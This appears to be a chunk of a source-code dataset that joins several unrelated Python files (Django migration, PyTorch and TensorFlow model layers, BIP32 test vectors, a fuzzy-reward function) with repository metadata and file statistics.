plt.cm.bone_r(np.linspace(0,1,3)) for i in gs: ax.plot( data1.temp[data1.gs ==i], np.exp(data1.acc99[data1.gs ==i])-1, color = colors[count], lw = lw) ax.fill_between( data1.temp[data1.gs ==i], np.exp(data1.acc99_025[data1.gs ==i])-1, np.exp(data1.acc99_975[data1.gs ==i])-1, alpha = 0.3, color = colors[count], lw = 0, label = 'quadratic') ax.plot( data3.temp[data1.gs ==i], np.exp(data3.acc99[data3.gs ==i])-1, color = colors[count-1], lw = lw) ax.fill_between( data3.temp[data1.gs ==i], np.exp(data3.acc99_025[data3.gs ==i])-1, np.exp(data3.acc99_975[data3.gs ==i])-1, alpha = 0.3, color = colors[count-1], lw = 0, label = 'linear') count +=1 plt.xlabel('Temperature '+r'($^{\circ}$C)', size = fs) plt.ylabel( '99th percentile of acceleration (BL/s'+r'$^2$)', size = fs) #ax.set_title('Groupsize = '+str(gs[0]), fontsize = fs) #plt.legend(fontsize=fs, loc='upper right', title = 'Loom', framealpha = 0.5) #ax.set_title('Interaction of temperature and groupsize', fontsize = fs) #ax.set_title('Groupsize = 16', fontsize = fs) plt.xticks(ticks = [9,13,17,21,25,29], labels = [9,13,17,21,25,29], fontsize = fs) plt.yticks(fontsize = fs) legend = plt.legend(fontsize=fs, loc='lower right', title = 'Model', framealpha = 0.5) plt.setp(legend.get_title(),fontsize='xx-large') #plt.legend(fontsize=fs, loc='upper right', title = 'Groupsize', framealpha = 0.5) out_dir = '../../output/temp_collective/roi_figures/predictions/acc_percentile99_wo_data_together.png' fig.savefig(out_dir, dpi = dpi) plt.show()

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93,228

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0

null

0

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1

0

null

0

7

bededa367f978c88dfeadc594e90da0a2ab8e162

1,287

py

Python

src/pretalx/submission/migrations/0067_question_extra_fields.py

codingcatgirl/pretalx

26554967772efa5248ae9b6a0fa838b0e8713807

[ "Apache-2.0" ]

null

src/pretalx/submission/migrations/0067_question_extra_fields.py

codingcatgirl/pretalx

26554967772efa5248ae9b6a0fa838b0e8713807

[ "Apache-2.0" ]

null

src/pretalx/submission/migrations/0067_question_extra_fields.py

codingcatgirl/pretalx

26554967772efa5248ae9b6a0fa838b0e8713807

[ "Apache-2.0" ]

null

# Generated by Django 3.2.10 on 2022-03-17 02:24 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ("submission", "0066_submission_assignments"), ] operations = [ migrations.AddField( model_name="question", name="max_date", field=models.DateField(blank=True, null=True), ), migrations.AddField( model_name="question", name="max_datetime", field=models.DateTimeField(blank=True, null=True), ), migrations.AddField( model_name="question", name="max_number", field=models.DecimalField(decimal_places=6, max_digits=16, null=True), ), migrations.AddField( model_name="question", name="min_date", field=models.DateField(blank=True, null=True), ), migrations.AddField( model_name="question", name="min_datetime", field=models.DateTimeField(blank=True, null=True), ), migrations.AddField( model_name="question", name="min_number", field=models.DecimalField(decimal_places=6, max_digits=16, null=True), ), ]

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null

0

1

0

1

0

1

0

null

0

8

363a3f4a4a9afc99921fb9688e293b51300aca30

5,501

py

Python

models/model.py

lyuheng/unsupervised_3d_pose

e6f76420a2ffcf6ecebcd53889feb2b62e70d59a

[ "MIT" ]

3

2020-09-02T23:28:23.000Z

2021-11-18T12:34:18.000Z

models/model.py

lyuheng/unsupervised_3d_pose

e6f76420a2ffcf6ecebcd53889feb2b62e70d59a

[ "MIT" ]

null

models/model.py

lyuheng/unsupervised_3d_pose

e6f76420a2ffcf6ecebcd53889feb2b62e70d59a

[ "MIT" ]

null

import torch import torch.nn as nn import torch.nn.functional as F import math def weight_init(m): if isinstance(m,nn.Linear): nn.init.xavier_normal_(m.weight) nn.init.constant_(m.bias, 0) elif isinstance(m,nn.Conv2d): nn.init.kaiming_normal_(m.weight, mode='fan_out', nonlinearity='relu') elif isinstance(m,nn.BatchNorm2d): nn.init.constant_(m.weight, 1) nn.init.constant_(m.bias, 0) class ResBlock(nn.Module): def __init__(self, linear_size, p_dropout=0.5, use_batch_norm=True): super(ResBlock, self).__init__() self.l_size = linear_size self.relu = nn.ReLU(inplace=True) self.dropout = nn.Dropout(p_dropout) self.use_batch_norm = use_batch_norm self.w1 = nn.Linear(self.l_size, self.l_size) if use_batch_norm: self.batch_norm1 = nn.BatchNorm1d(self.l_size) self.w2 = nn.Linear(self.l_size, self.l_size) if use_batch_norm: self.batch_norm2 = nn.BatchNorm1d(self.l_size) def forward(self, x): residual = x y = self.w1(x) if self.use_batch_norm: y = self.batch_norm1(y) y = self.relu(y) y = self.dropout(y) y = self.w2(y) if self.use_batch_norm: y = self.batch_norm2(y) y = self.relu(y) y = self.dropout(y) out = residual + y return out class Lifter(nn.Module): def __init__(self, linear_size=1024, num_stage=4, p_dropout=0.5): super(Lifter, self).__init__() self.linear_size = linear_size self.p_dropout = p_dropout self.num_stage = num_stage # 2d joints self.input_size = 17*2 # 3d joints self.output_size = 17 # process input to linear size self.w1 = nn.Linear(self.input_size, self.linear_size) self.batch_norm1 = nn.BatchNorm1d(self.linear_size) self.linear_stages = [] for _ in range(num_stage): self.linear_stages.append(ResBlock(self.linear_size, self.p_dropout)) self.linear_stages = nn.ModuleList(self.linear_stages) # post processing self.w2 = nn.Linear(self.linear_size, self.output_size) self.relu = nn.ReLU(inplace=True) self.dropout = nn.Dropout(self.p_dropout) for m in self.modules(): weight_init(m) def forward(self, x): """ x: (BS, 17*2) y: (BS, 17) """ # pre-processing y = self.w1(x) y = self.batch_norm1(y) y = self.relu(y) y = self.dropout(y) # linear layers for i in range(self.num_stage): y = self.linear_stages[i](y) y = self.w2(y) return y class Discriminator(nn.Module): """ determine whether 2d pose is real or fake. """ def __init__(self, linear_size=1024, num_stage=3, p_dropout=0.5 ): super(Discriminator, self).__init__() self.linear_size = linear_size self.p_dropout = p_dropout self.num_stage = num_stage self.input_size = 17*2 self.output_size = 1 # process input to linear size self.w1 = nn.Linear(self.input_size, self.linear_size) self.linear_stages = [] for _ in range(num_stage): self.linear_stages.append(ResBlock(self.linear_size, self.p_dropout, use_batch_norm=False)) self.linear_stages = nn.ModuleList(self.linear_stages) # post processing self.w2 = nn.Linear(self.linear_size, self.output_size) self.relu = nn.ReLU(inplace=True) self.dropout = nn.Dropout(self.p_dropout) for m in self.modules(): weight_init(m) def forward(self, x): # pre-processing y = self.w1(x) y = self.relu(y) y = self.dropout(y) # linear layers for i in range(self.num_stage): y = self.linear_stages[i](y) y = self.w2(y) y = F.sigmoid(y) return y class Discriminator_wgan(nn.Module): """ determine whether 2d pose is real or fake. """ def __init__(self, linear_size=1024, num_stage=3, p_dropout=0.5 ): super(Discriminator_wgan, self).__init__() self.linear_size = linear_size self.p_dropout = p_dropout self.num_stage = num_stage self.input_size = 17*2 self.output_size = 1 # process input to linear size self.w1 = nn.Linear(self.input_size, self.linear_size) self.linear_stages = [] for _ in range(num_stage): self.linear_stages.append(ResBlock(self.linear_size, self.p_dropout, use_batch_norm=False)) self.linear_stages = nn.ModuleList(self.linear_stages) # post processing self.w2 = nn.Linear(self.linear_size, self.output_size) self.relu = nn.ReLU(inplace=True) self.dropout = nn.Dropout(self.p_dropout) for m in self.modules(): weight_init(m) def forward(self, x): # pre-processing y = self.w1(x) y = self.relu(y) y = self.dropout(y) # linear layers for i in range(self.num_stage): y = self.linear_stages[i](y) y = self.w2(y) return y

26.703883

103

0.571714

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0.125

0.107203

0.079732

0.060302

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null

0

1

0

1

0

null

0

7

3650f6944274a170301c0818cd99867cfbdd975d

155

py

Python

TURP1210/RP1210/__init__.py

Heavy-Vehicle-Networking-At-U-Tulsa/TU-RP1210

19ab586cb683a83437fa14b085781d2f447492b8

[ "MIT" ]

9

2018-06-04T16:48:41.000Z

2021-09-18T03:53:14.000Z

TURP1210/RP1210/__init__.py

Heavy-Vehicle-Networking-At-U-Tulsa/TU-RP1210

19ab586cb683a83437fa14b085781d2f447492b8

[ "MIT" ]

8

2018-01-29T21:34:28.000Z

2018-06-04T22:38:08.000Z

TURP1210/RP1210/__init__.py

Heavy-Vehicle-Networking-At-U-Tulsa/TU-RP1210

19ab586cb683a83437fa14b085781d2f447492b8

[ "MIT" ]

7

2017-04-17T16:27:27.000Z

2022-02-27T16:30:34.000Z

#import TURP1210.RP1210 # from TURP1210.RP1210.RP1210 import * # from TURP1210.RP1210.RP1210Functions import * # from TURP1210.RP1210.RP1210Select import *

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null

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1

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8

36d7f5ac9439beb611b2fc2007395d5fa7d72161

6,316

py

Python

dual_encoder/layer/pooling.py

stevezheng23/dual_encoder_tf

953f3aea507f265ce21319d99fd3e9f9d4c06bec

[ "Apache-2.0" ]

1

2019-03-20T03:25:45.000Z

dual_encoder/layer/pooling.py

stevezheng23/dual_encoder_tf

953f3aea507f265ce21319d99fd3e9f9d4c06bec

[ "Apache-2.0" ]

null

dual_encoder/layer/pooling.py

stevezheng23/dual_encoder_tf

953f3aea507f265ce21319d99fd3e9f9d4c06bec

[ "Apache-2.0" ]

1

2021-09-30T17:07:24.000Z

import numpy as np import tensorflow as tf from util.default_util import * from util.dual_encoder_util import * __all__ = ["MaxPooling", "MaxPooling3D", "AveragePooling", "AveragePooling3D"] class MaxPooling(object): """max pooling layer""" def __init__(self, num_gpus=1, default_gpu_id=0, scope="max_pool"): """initialize max pooling layer""" self.scope = scope self.device_spec = get_device_spec(default_gpu_id, num_gpus) def __call__(self, input_data, input_mask): """call max pooling layer""" with tf.variable_scope(self.scope, reuse=tf.AUTO_REUSE), tf.device(self.device_spec): output_mask = tf.squeeze(tf.reduce_max(input_mask, axis=-2, keepdims=True), axis=-2) output_pool = tf.reduce_max(input_data * input_mask + MIN_FLOAT * (1 - input_mask), axis=-2) * output_mask output_pool = output_pool + tf.reduce_max(input_data, axis=-2) * (1 - output_mask) return output_pool, output_mask class MaxPooling3D(object): """max pooling layer""" def __init__(self, window_size, stride_size, num_gpus=1, default_gpu_id=0, scope="max_pool_3d"): """initialize 3d max pooling layer""" self.window_size = window_size self.stride_size = stride_size self.scope = scope self.device_spec = get_device_spec(default_gpu_id, num_gpus) with tf.variable_scope(self.scope, reuse=tf.AUTO_REUSE), tf.device(self.device_spec): self.pooling_layer = tf.layers.MaxPooling3D(self.window_size, self.stride_size, "VALID") def __call__(self, input_data, input_mask): """call 3d max pooling layer""" with tf.variable_scope(self.scope, reuse=tf.AUTO_REUSE), tf.device(self.device_spec): input_data_shape = tf.shape(input_data) input_mask_shape = tf.shape(input_mask) shape_size = len(input_data.get_shape().as_list()) if shape_size > 5: input_pooling = tf.reshape(input_data, shape=tf.concat([[-1], input_data_shape[-4:]], axis=0)) input_pooling_mask = tf.reshape(input_mask, shape=tf.concat([[-1], input_mask_shape[-4:]], axis=0)) else: input_pooling = input_data input_pooling_mask = input_mask output_pooling = self.pooling_layer(input_pooling) output_mask = self.pooling_layer(input_pooling_mask) if shape_size > 5: output_pooling_shape = tf.shape(output_pooling) output_mask_shape = tf.shape(output_mask) output_pooling = tf.reshape(output_pooling, shape=tf.concat([input_data_shape[:-4], output_pooling_shape[-4:]], axis=0)) output_mask = tf.reshape(output_mask, shape=tf.concat([input_mask_shape[:-4], output_mask_shape[-4:]], axis=0)) return output_pooling, output_mask class AveragePooling(object): """average pooling layer""" def __init__(self, num_gpus=1, default_gpu_id=0, scope="avg_pool"): """initialize average pooling layer""" self.scope = scope self.device_spec = get_device_spec(default_gpu_id, num_gpus) def __call__(self, input_data, input_mask): """call average pooling layer""" with tf.variable_scope(self.scope, reuse=tf.AUTO_REUSE), tf.device(self.device_spec): input_sum = tf.reduce_sum(input_data * input_mask, axis=-2) input_count = tf.count_nonzero(input_mask, axis=-2, dtype=tf.float32) output_mask = tf.squeeze(tf.reduce_max(input_mask, axis=-2, keepdims=True), axis=-2) output_pool = 1.0 * input_sum / (input_count - output_mask + 1.0) return output_pool, output_mask class AveragePooling3D(object): """average pooling layer""" def __init__(self, window_size, stride_size, num_gpus=1, default_gpu_id=0, scope="avg_pool_3d"): """initialize 3d average pooling layer""" self.window_size = window_size self.stride_size = stride_size self.scope = scope self.device_spec = get_device_spec(default_gpu_id, num_gpus) with tf.variable_scope(self.scope, reuse=tf.AUTO_REUSE), tf.device(self.device_spec): self.pooling_layer = tf.layers.AveragePooling3D(self.window_size, self.stride_size, "VALID") def __call__(self, input_data, input_mask): """call 3d average pooling layer""" with tf.variable_scope(self.scope, reuse=tf.AUTO_REUSE), tf.device(self.device_spec): input_data_shape = tf.shape(input_data) input_mask_shape = tf.shape(input_mask) shape_size = len(input_data.get_shape().as_list()) if shape_size > 5: input_pooling = tf.reshape(input_data, shape=tf.concat([[-1], input_data_shape[-4:]], axis=0)) input_pooling_mask = tf.reshape(input_mask, shape=tf.concat([[-1], input_mask_shape[-4:]], axis=0)) else: input_pooling = input_data input_pooling_mask = input_mask output_pooling = self.pooling_layer(input_pooling) output_mask = tf.cast(tf.greater_equal(self.pooling_layer(input_pooling_mask), tf.constant(0.0, shape=[], dtype=tf.float32)), dtype=tf.float32) if shape_size > 5: output_pooling_shape = tf.shape(output_pooling) output_mask_shape = tf.shape(output_mask) output_pooling = tf.reshape(output_pooling, shape=tf.concat([input_data_shape[:-4], output_pooling_shape[-4:]], axis=0)) output_mask = tf.reshape(output_mask, shape=tf.concat([input_mask_shape[:-4], output_mask_shape[-4:]], axis=0)) return output_pooling, output_mask

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781

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0.102433

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6,316

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false

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0

null

0

1

0

1

0

null

0

7

7fe5c89e06b351548b760b713387810c4ad9bc6c

3,577

py

Python

tests/core/test_deterministic.py

taobun/wan-account

8509071904af647c9ac6c4a7b922ca855aae97fb

[ "MIT" ]

null

tests/core/test_deterministic.py

taobun/wan-account

8509071904af647c9ac6c4a7b922ca855aae97fb

[ "MIT" ]

null

tests/core/test_deterministic.py

taobun/wan-account

8509071904af647c9ac6c4a7b922ca855aae97fb

[ "MIT" ]

null

import pytest from wan_account.hdaccount.deterministic import ( HDPath, ) # Test vectors from: https://en.bitcoin.it/wiki/BIP_0032_TestVectors # Confirmed using https://github.com/richardkiss/pycoin @pytest.mark.parametrize("seed,path,key", [ # --- BIP32 Testvector 1 --- ( "000102030405060708090a0b0c0d0e0f", "m", "e8f32e723decf4051aefac8e2c93c9c5b214313817cdb01a1494b917c8436b35" ), ( "000102030405060708090a0b0c0d0e0f", "m/0H", "edb2e14f9ee77d26dd93b4ecede8d16ed408ce149b6cd80b0715a2d911a0afea" ), ( "000102030405060708090a0b0c0d0e0f", "m/0H/1", "3c6cb8d0f6a264c91ea8b5030fadaa8e538b020f0a387421a12de9319dc93368" ), ( "000102030405060708090a0b0c0d0e0f", "m/0H/1/2H", "cbce0d719ecf7431d88e6a89fa1483e02e35092af60c042b1df2ff59fa424dca" ), ( "000102030405060708090a0b0c0d0e0f", "m/0H/1/2H/2", "0f479245fb19a38a1954c5c7c0ebab2f9bdfd96a17563ef28a6a4b1a2a764ef4" ), ( "000102030405060708090a0b0c0d0e0f", "m/0H/1/2H/2/1000000000", "471b76e389e528d6de6d816857e012c5455051cad6660850e58372a6c3e6e7c8" ), # --- BIP32 Testvector 2 --- ( "fffcf9f6f3f0edeae7e4e1dedbd8d5d2cfccc9c6c3c0bdbab7b4b1aeaba8a5a29f9c" "999693908d8a8784817e7b7875726f6c696663605d5a5754514e4b484542", "m", "4b03d6fc340455b363f51020ad3ecca4f0850280cf436c70c727923f6db46c3e" ), ( "fffcf9f6f3f0edeae7e4e1dedbd8d5d2cfccc9c6c3c0bdbab7b4b1aeaba8a5a29f9c" "999693908d8a8784817e7b7875726f6c696663605d5a5754514e4b484542", "m/0", "abe74a98f6c7eabee0428f53798f0ab8aa1bd37873999041703c742f15ac7e1e" ), ( "fffcf9f6f3f0edeae7e4e1dedbd8d5d2cfccc9c6c3c0bdbab7b4b1aeaba8a5a29f9c" "999693908d8a8784817e7b7875726f6c696663605d5a5754514e4b484542", "m/0/2147483647H", "877c779ad9687164e9c2f4f0f4ff0340814392330693ce95a58fe18fd52e6e93" ), ( "fffcf9f6f3f0edeae7e4e1dedbd8d5d2cfccc9c6c3c0bdbab7b4b1aeaba8a5a29f9c" "999693908d8a8784817e7b7875726f6c696663605d5a5754514e4b484542", "m/0/2147483647H/1", "704addf544a06e5ee4bea37098463c23613da32020d604506da8c0518e1da4b7" ), ( "fffcf9f6f3f0edeae7e4e1dedbd8d5d2cfccc9c6c3c0bdbab7b4b1aeaba8a5a29f9c" "999693908d8a8784817e7b7875726f6c696663605d5a5754514e4b484542", "m/0/2147483647H/1/2147483646H", "f1c7c871a54a804afe328b4c83a1c33b8e5ff48f5087273f04efa83b247d6a2d" ), ( "fffcf9f6f3f0edeae7e4e1dedbd8d5d2cfccc9c6c3c0bdbab7b4b1aeaba8a5a29f9c" "999693908d8a8784817e7b7875726f6c696663605d5a5754514e4b484542", "m/0/2147483647H/1/2147483646H/2", "bb7d39bdb83ecf58f2fd82b6d918341cbef428661ef01ab97c28a4842125ac23" ), # --- BIP32 Testvector 3 --- # NOTE: Leading zeros bug https://github.com/iancoleman/bip39/issues/58 ( "4b381541583be4423346c643850da4b320e46a87ae3d2a4e6da11eba819cd4acba45" "d239319ac14f863b8d5ab5a0d0c64d2e8a1e7d1457df2e5a3c51c73235be", "m", # NOTE Contains leading zero byte (which was the bug) "00ddb80b067e0d4993197fe10f2657a844a384589847602d56f0c629c81aae32" ), ( "4b381541583be4423346c643850da4b320e46a87ae3d2a4e6da11eba819cd4acba45" "d239319ac14f863b8d5ab5a0d0c64d2e8a1e7d1457df2e5a3c51c73235be", "m/0H", "491f7a2eebc7b57028e0d3faa0acda02e75c33b03c48fb288c41e2ea44e1daef" ) ]) def test_bip32_testvectors(seed, path, key): assert HDPath(path).derive(bytes.fromhex(seed)).hex() == key

39.307692

78

0.741683

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3,577

16.654088

0.503145

0.074773

0.292296

0.245468

0.266239

0.19864

0.115559

0

0.48128

0.178641

3,577

90

79

39.744444

0.420014

0.090299

0

0.3875

0

0.702095

0.675909

0

0.0125

1

0.0125

false

0

0.025

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0.0375

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0

1

0

1

0

1

0

1

null

0

7

3d0e401287079fc2eb3aa6ebc62eefe84009f1be

183

py

Python

domain_adaptation/__init__.py

eddardd/CrossDomainFaultDetection

83dd24727a8b35cda2549b40166beaf740e14c98

[ "MIT" ]

3

2021-08-30T11:41:36.000Z

2021-12-22T10:45:25.000Z

domain_adaptation/__init__.py

eddardd/CrossDomainFaultDiagnosis

83dd24727a8b35cda2549b40166beaf740e14c98

[ "MIT" ]

1

2021-02-26T06:02:33.000Z

domain_adaptation/__init__.py

eddardd/CrossDomainFaultDetection

83dd24727a8b35cda2549b40166beaf740e14c98

[ "MIT" ]

2

2021-06-03T11:46:20.000Z

2022-03-25T09:16:03.000Z

from .utils import * from .metrics import * from .ot_based import * from .divergences import * from .instance_based import * from .feature_based import * from .classification import *

26.142857

29

0.775956

24

183

5.791667

0.416667

0.431655

0.323741

0

0.147541

183

7

30

26.142857

0.891026

0

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true

0

1

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null

1

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0

null

0

1

0

1

0

1

0

7

3d1f93ab7f239fa22060f7e6bdd4a7cd60a15990

128

py

Python

Knight-Rank/DAY-3/75A.py

rohansaini886/Peer-Programming-Hub-CP-Winter_Camp

d27fb6aa7e726e6d2cb95270c9e644d38d64dd1c

[ "MIT" ]

2

2021-12-09T18:07:46.000Z

2022-01-26T16:51:18.000Z

Knight-Rank/DAY-3/75A.py

rohansaini886/Peer-Programming-Hub-CP-Winter_Camp

d27fb6aa7e726e6d2cb95270c9e644d38d64dd1c

[ "MIT" ]

null

Knight-Rank/DAY-3/75A.py

rohansaini886/Peer-Programming-Hub-CP-Winter_Camp

d27fb6aa7e726e6d2cb95270c9e644d38d64dd1c

[ "MIT" ]

null

a,b=input(),input() print(("NO","YES")[str(int(a)+int(b)).replace("0","")==str(int(a.replace("0",""))+int(b.replace("0","")))])

42.666667

107

0.53125

23

128

2.956522

0.434783

0.352941

0.205882

0.352941

0

0.02381

0.015625

128

2

108

64

0.515873

0

0.0625

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true

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null

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null

0

1

0

1

0

7

a155725f105a8f0caf88d925955a46a32aa942d6

17,336

py

Python

baselines/ddpg/src/experiment/Fuzzy_reward_mf_experiments.py

hzm2016/Peg_in_hole_assembly

be1f98ede9fe949eae552bd25c71846437801710

[ "MIT" ]

25

2018-10-08T07:51:55.000Z

2022-03-22T12:38:21.000Z

baselines/ddpg/src/experiment/Fuzzy_reward_mf_experiments.py

robot0102/Peg_in_hole_assembly

be1f98ede9fe949eae552bd25c71846437801710

[ "MIT" ]

2

2019-05-22T13:30:11.000Z

2020-05-27T13:29:17.000Z

baselines/ddpg/src/experiment/Fuzzy_reward_mf_experiments.py

robot0102/Peg_in_hole_assembly

be1f98ede9fe949eae552bd25c71846437801710

[ "MIT" ]

9

2019-01-07T10:48:30.000Z

2022-03-27T08:57:51.000Z

# -*- coding: utf-8 -*- """ ------------------------------------------------- File Name： Fuzzy_reward_mf_experiments Description : Author : Zhimin Hou date： 18-1-25 ------------------------------------------------- Change Activity: 18-1-25 ------------------------------------------------- """ import numpy as np import math import matplotlib.pyplot as plt from mpl_toolkits.mplot3d import axes3d, Axes3D def fuzzy_C1(m, f, z, dz): # moment_max = 2 # force_max = 20 # z_max = 50 # detaz_max = 3 # # """""" # # m1 = (m + 0.5) / -0.5 # # m2 = 1 - abs((m + 0.5) / 0.5) # # m3 = 1 - abs(m / 0.5) # # m4 = 1 - abs((m - 0.5) / 0.5) # # m5 = (m - 0.5) / 0.5 # # m1 = 1 - m / (moment_max/4.) # m2 = 1 - abs((m - (moment_max/4.)) / (moment_max / 4.)) # m3 = 1 - abs((m - (2*moment_max/4.)) / (moment_max / 4.)) # m4 = 1 - abs((m - (3*moment_max/4.)) / (moment_max / 4.)) # m5 = (m - (3*moment_max/4.)) / (moment_max / 4.) # # """""" # # f1 = (f + 5) / -15.0 # # f2 = 1 - abs((f + 10.0) / 10.0) # # f3 = 1 - abs(f / 5.0) # # f4 = 1 - abs((f - 10.0) / 10.0) # # f5 = (f - 5.0) / 15.0 # # f1 = 1 - f / (force_max / 4.) # f2 = 1 - abs((f - (force_max / 4.)) / (force_max / 4.)) # f3 = 1 - abs((f - (2 * force_max / 4.)) / (force_max / 4.)) # f4 = 1 - abs((f - (3 * force_max / 4.)) / (force_max / 4.)) # f5 = (f - (3 * force_max / 4.)) / (force_max / 4.) # # m1 = max(min(m1, 1.0), 0.0) # m2 = max(min(m2, 1.0), 0.0) # m3 = max(min(m3, 1.0), 0.0) # m4 = max(min(m4, 1.0), 0.0) # m5 = max(min(m5, 1.0), 0.0) # # f1 = max(min(f1, 1.0), 0.0) # f2 = max(min(f2, 1.0), 0.0) # f3 = max(min(f3, 1.0), 0.0) # f4 = max(min(f4, 1.0), 0.0) # f5 = max(min(f5, 1.0), 0.0) # # r1 = min(m1, f1) # r2 = min(m1, f2) # r3 = min(m1, f3) # r4 = min(m1, f4) # r5 = min(m1, f5) # r6 = min(m2, f1) # r7 = min(m2, f2) # r8 = min(m2, f3) # r9 = min(m2, f4) # r10 = min(m2, f5) # r11 = min(m3, f1) # r12 = min(m3, f2) # r13 = min(m3, f3) # r14 = min(m3, f4) # r15 = min(m3, f5) # r16 = min(m4, f1) # r17 = min(m4, f2) # r18 = min(m4, f3) # r19 = min(m4, f4) # r20 = min(m4, f5) # r21 = min(m5, f1) # r22 = min(m5, f2) # r23 = min(m5, f3) # r24 = min(m5, f4) # r25 = min(m5, f5) # # r0 = r1 + r2 + r3 + r4 + r5 + r6 + r7 + r8 + r9 + r10 + r11 + r12 + r13 + r14 + r15 + r16 + r17 + r18 + r19 + r20 + r21 + r22 + r23 + r24 + r25 # mfoutput = (0.33 * (r1 + r5 + r21 + r25) + 0.48 * (r6 + r10 + r16 + r20) + 0.69 * (r2 + r4 + r11 + r15 + r22 + r24) # + 1 * (r3 + r7 + r9 + r17 + r19 + r23) + 1.44 * (r12 + r14) + 2.07 * (r8 + r18) + 3 * (r13)) / (3 * r0) # # # # z1 = 1 - z / 25.0 # # z2 = 1 - abs((z - 25.0) / 25.0) # # z3 = 1 - abs((z - 50.0) / 25.0) # # z4 = 1 - abs((z - 75.0) / 25.0) # # z5 = (z - 75) / 25.0 # # z1 = 1 - z / (z_max / 4.) # z2 = 1 - abs((z - (z_max / 4.)) / (z_max / 4.)) # z3 = 1 - abs((z - (2 * z_max / 4.)) / (z_max / 4.)) # z4 = 1 - abs((z - (3 * z_max / 4.)) / (z_max / 4.)) # z5 = (z - (3 * z_max / 4.)) / (z_max / 4.) # # # dz1 = 1 - dz / 0.375 # # dz2 = 1 - abs((dz - 0.375) / 0.375) # # dz3 = 1 - abs((dz - 0.75) / 0.375) # # dz4 = 1 - abs((dz - 1.125) / 0.375) # # dz5 = (dz - 1.125) / 0.375 # # dz1 = 1 - dz / (detaz_max / 4.) # dz2 = 1 - abs((dz - (detaz_max / 4.)) / (detaz_max / 4.)) # dz3 = 1 - abs((dz - (2 * detaz_max / 4.)) / (detaz_max / 4.)) # dz4 = 1 - abs((dz - (3 * detaz_max / 4.)) / (detaz_max / 4.)) # dz5 = (dz - (3 * detaz_max / 4.)) / (detaz_max / 4.) # # z1 = max(min(z1, 1.0), 0.0) # z2 = max(min(z2, 1.0), 0.0) # z3 = max(min(z3, 1.0), 0.0) # z4 = max(min(z4, 1.0), 0.0) # z5 = max(min(z5, 1.0), 0.0) # dz1 = max(min(dz1, 1.0), 0.0) # dz2 = max(min(dz2, 1.0), 0.0) # dz3 = max(min(dz3, 1.0), 0.0) # dz4 = max(min(dz4, 1.0), 0.0) # dz5 = max(min(dz5, 1.0), 0.0) # # r1 = min(z1, dz1) # r2 = min(z1, dz2) # r3 = min(z1, dz3) # r4 = min(z1, dz4) # r5 = min(z1, dz5) # r6 = min(z2, dz1) # r7 = min(z2, dz2) # r8 = min(z2, dz3) # r9 = min(z2, dz4) # r10 = min(z2, dz5) # r11 = min(z3, dz1) # r12 = min(z3, dz2) # r13 = min(z3, dz3) # r14 = min(z3, dz4) # r15 = min(z3, dz5) # r16 = min(z4, dz1) # r17 = min(z4, dz2) # r18 = min(z4, dz3) # r19 = min(z4, dz4) # r20 = min(z4, dz5) # r21 = min(z5, dz1) # r22 = min(z5, dz2) # r23 = min(z5, dz3) # r24 = min(z5, dz4) # r25 = min(z5, dz5) # r0 = r1 + r2 + r3 + r4 + r5 + r6 + r7 + r8 + r9 + r10 + r11 + r12 + r13 + r14 + r15 + r16 + r17 + r18 + r19 + r20 + r21 + r22 + r23 + r24 + r25 # zdzoutput = (0.33 * (r1 + r2) + 0.48 * (r6 + r7) + 0.69 * (r3 + r8) + 1 * (r4 + r9 + r11 + r12 + r13) + # 1.44 * (r5 + r10 + r14 + r18) + 2.07 * (r15 + r19 + r16 + r17 + r23) + 3 * ( # r20 + r21 + r22 + r24 + r25)) / (3 * r0) mfoutput = fuzzy_mf(f, m) zdzoutput = fuzzy_zdz(z, dz) return mfoutput, zdzoutput #input: mfoutput, zdzoutput # def fuzzy_C2(m, f): # # m1 = 1-m/0.25 # m2 = 1-abs((m-0.25)/0.25) # m3 = 1-abs((m-0.5)/0.25) # m4 = 1-abs((m-0.75)/0.25) # m5 = (m-0.75)/0.25 # # f1 = 1 - f / 0.25 # f2 = 1 - abs((f - 0.25) / 0.25) # f3 = 1 - abs((f - 0.5) / 0.25) # f4 = 1 - abs((f - 0.75) / 0.25) # f5 = (f - 0.75) / 0.25 # # m1 = max(min(m1, 1.0), 0.0) # m2 = max(min(m2, 1.0), 0.0) # m3 = max(min(m3, 1.0), 0.0) # m4 = max(min(m4, 1.0), 0.0) # m5 = max(min(m5, 1.0), 0.0) # # f1 = max(min(f1, 1.0), 0.0) # f2 = max(min(f2, 1.0), 0.0) # f3 = max(min(f3, 1.0), 0.0) # f4 = max(min(f4, 1.0), 0.0) # f5 = max(min(f5, 1.0), 0.0) # # r1 = min(m1, f1) # r2 = min(m1, f2) # r3 = min(m1, f3) # r4 = min(m1, f4) # r5 = min(m1, f5) # r6 = min(m2, f1) # r7 = min(m2, f2) # r8 = min(m2, f3) # r9 = min(m2, f4) # r10 = min(m2, f5) # r11 = min(m3, f1) # r12 = min(m3, f2) # r13 = min(m3, f3) # r14 = min(m3, f4) # r15 = min(m3, f5) # r16 = min(m4, f1) # r17 = min(m4, f2) # r18 = min(m4, f3) # r19 = min(m4, f4) # r20 = min(m4, f5) # r21 = min(m5, f1) # r22 = min(m5, f2) # r23 = min(m5, f3) # r24 = min(m5, f4) # r25 = min(m5, f5) # r0 = r1+r2+r3+r4+r5+r6+r7+r8+r9+r10+r11+r12+r13+r14+r15+r16+r17+r18+r19+r20+r21+r22+r23+r24+r25 # output = (0.33*(r1+r6)+0.48*(r2+r7+r11+r16)+0.69*(r3+r12+r17+r21) # +1*(r4+r8+r9+r13+r22)+1.44*(r5+r10+r14+r18+r23)+2.07*(r15+r19+r24)+3*(r20+r25))/(3*r0) # return [output] def fuzzy_zdz(z, dz): secnum = 4 dz_max = 1.2 everysecdz = dz_max / secnum secdz1 = everysecdz secdz2 = 2 * everysecdz secdz3 = 3 * everysecdz z_max = 100 everysecz = z_max / secnum secz1 = everysecz secz2 = 2 * everysecz secz3 = 3 * everysecz z1 = 1 - z / everysecz z2 = 1 - abs((z - secz1) / everysecz) z3 = 1 - abs((z - secz2) / everysecz) z4 = 1 - abs((z - secz3) / everysecz) z5 = (z - secz3) / everysecz z1 = max(min(z1, 1.0), 0.0) z2 = max(z2, 0.0) z3 = max(z3, 0.0) z4 = max(z4, 0.0) z5 = max(min(z5, 1.0), 0.0) dz1 = 1 - dz / everysecdz dz2 = 1 - abs((dz - secdz1) / everysecdz) dz3 = 1 - abs((dz - secdz2) / everysecdz) dz4 = 1 - abs((dz - secdz3) / everysecdz) dz5 = (dz - secdz3) / everysecdz dz1 = max(min(dz1, 1.0), 0.0) dz2 = max(dz2, 0.0) dz3 = max(dz3, 0.0) 